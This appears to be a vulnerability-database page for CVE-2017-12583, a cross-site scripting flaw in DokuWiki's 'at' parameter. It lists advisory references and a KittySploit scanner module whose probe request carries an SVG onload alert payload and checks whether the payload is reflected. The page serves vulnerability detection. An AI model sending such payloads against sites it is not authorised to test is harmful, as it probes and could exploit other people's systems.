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DokuWiki - Cross-Site Scripting Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
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Cross-Site Scripting in DokuWiki via the DATE_AT parameter to doku.php.

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cnvd
CNVD
DokuWiki doku.php file cross-site scripting vulnerability
7 Aug 201700:00
–cnvd
cve
CVE
CVE-2017-12583
6 Aug 201703:00
–cve
cvelist
Cvelist
CVE-2017-12583
6 Aug 201703:00
–cvelist
debiancve
Debian CVE
CVE-2017-12583
6 Aug 201703:00
–debiancve
euvd
EUVD
EUVD-2017-4154
7 Oct 202500:30
–euvd
fedora
Fedora
[SECURITY] Fedora 27 Update: dokuwiki-20180422a-2.fc27
20 Sep 201805:17
–fedora
fedora
Fedora
[SECURITY] Fedora 28 Update: dokuwiki-20180422a-1.fc28
6 Sep 201803:13
–fedora
mend
Mend
CVE-2017-12583
6 Aug 201703:00
–mend
mageia
Mageia
Updated dokuwiki package fixes security vulnerability
11 Jan 201819:36
–mageia
nuclei
Nuclei
DokuWiki - Cross-Site Scripting
14 Oct 202602:05
–nuclei
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""DokuWiki through 2017-02-19b contains a cross-site scripting vulnerability in the DATE_AT parameter to doku."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'DokuWiki - Cross-Site Scripting Detection',
        'description': 'DokuWiki through 2017-02-19b contains a cross-site scripting vulnerability in the DATE_AT parameter to doku.php which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2017', 'xss', 'dokuwiki', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://github.com/splitbrain/dokuwiki/issues/2061',
            'https://nvd.nist.gov/vuln/detail/CVE-2017-12583',
            'https://github.com/ARPSyndicate/kenzer-templates',
        ],
        'cve': 'CVE-2017-12583',
    }

    def run(self):
        r = self.http_request(method="GET", path='/dokuwiki/doku.php?id=wiki:welcome&at=<svg%20onload=alert(document.domain)>', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        body_any = ('Unable to parse at parameter "<svg onload=alert(document.domain)>".</div>',)
        header_any = ('text/html',)
        if (any(m in body for m in body_any)) and (any(m in headers for m in header_any)):
            self.set_info(
                severity='medium',
                reason="DokuWiki - Cross-Site Scripting detected",
                path='/dokuwiki/doku.php?id=wiki:welcome&at=<svg%20onload=alert(document.domain)>',
            )
            return True
        return False

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28 Jul 2026 11:27Current
6.9Medium risk
Vulners AI Score6.9
CVSS 24.3
CVSS 36.1
EPSS0.03253
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